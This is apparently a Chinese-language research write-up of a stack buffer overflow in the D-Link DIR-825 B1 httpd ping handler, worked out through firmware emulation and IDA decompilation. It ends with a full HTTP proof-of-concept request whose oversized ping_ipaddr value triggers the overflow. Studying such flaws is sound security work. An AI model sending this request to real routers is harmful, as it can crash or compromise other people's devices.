[[CVE]]
Ubuntu18
IDA9.1
binwalk
[[FirmAE]]
固件下载
[[firmwalker]]

固件仿真

1
binwalk -Me DIR825B1_FW210WWB01.bin

image.png
MIPS架构32位大端序
使用[[firmwalker]]进行扫描
image.png
-root/sbin/httpd为web服务器

1
sudo ./run.sh -d dlink DIR825B1_FW210WWB01.bin

使用FirmAE对其进行固件模拟
image.png

漏洞分析

根据poc漏洞点在httpd文件中得get_ping_app_stat函数中
image.png

image.png
ping的值是通过sub_412E48函数中的ping_ipaddr进行获取直接赋值给全局变量,没有任何过滤
image.png
可以对其进行命令注入
后续ping的值经过 parse_special_char函数进行处理,parse_special_char是一个外部的函数我们继续进行搜索

1
2
grep -r "parse_special_char" | grep "匹配到二进制文件"
#在文件中进行搜索相关的文件

image.png
image.png
parse_special_char 只检查 4 个 ASCII 值:
v5 == 34   // “ (双引号)
n92 == 92   // \ (反斜杠)
n92 == 96   // (反引号)
n92 == 36   // $ (美元符号)
只检查字符的直接ASCII值

image.png
BYTE ping__1 400; // sp+18h -258h BYREF
BYTE ping 200; // sp+1A8h -C8h BYREF
最后strcpy(ping, ping__1);
由于ping__1比ping大的多,没有长度检查,会导致缓冲区溢出
parse_special_char虽然进行了字符串过滤,但是strcpy函数引发了缓冲区溢出
image.png

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
POST /ping_response.cgi HTTP/1.1

Host: 192.168.0.1

Content-Length: 106

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://192.168.0.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Referer: http://192.168.0.1/tools_vct.asp

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close



html_response_page=tools_vct.asp&html_response_return_page=tools_vct.asp&ping_ipaddr=aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaalzaambaamcaamdaameaamfaamgaamhaamiaamjaamkaamlaammaamnaamoaampaamqaamraamsaamtaamuaamvaamwaamxaamyaamzaanbaancaandaaneaanfaangaanhaaniaanjaankaanlaanmaannaanoaanpaanqaanraansaantaanuaanvaanwaanxaanyaanzaaobaaocaaodaaoeaaofaaogaaohaaoiaaojaaokaaolaaomaaonaaooaaopaaoqaaoraaosaaotaaouaaovaaowaaoxaaoyaaozaapbaapcaapdaapeaapfaapgaaphaapiaapjaapkaaplaapmaapnaapoaappaapqaapraapsaaptaapuaapvaapwaapxaapyaapzaaqbaaqcaaqdaaqeaaqfaaqgaaqhaaqiaaqjaaqkaaqlaaqmaaqnaaqoaaqpaaqqaaqraaqsaaqtaaquaaqvaaqwaaqxaaqyaaqzaarbaarcaardaareaarfaargaarhaariaarjaarkaarlaarmaarnaaroaarpaarqaarraarsaartaaruaarvaarwaarxaaryaarzaasbaascaasdaaseaasfaasgaashaasiaasjaaskaaslaasmaasnaasoaaspaasqaasraassaastaasuaasvaaswaasxaasyaaszaatbaatcaatdaateaatfaatgaathaatiaatjaatkaatlaatmaatnaatoaatpaatqaatraatsaattaatuaatvaatwaatxaatyaat&ping=Ping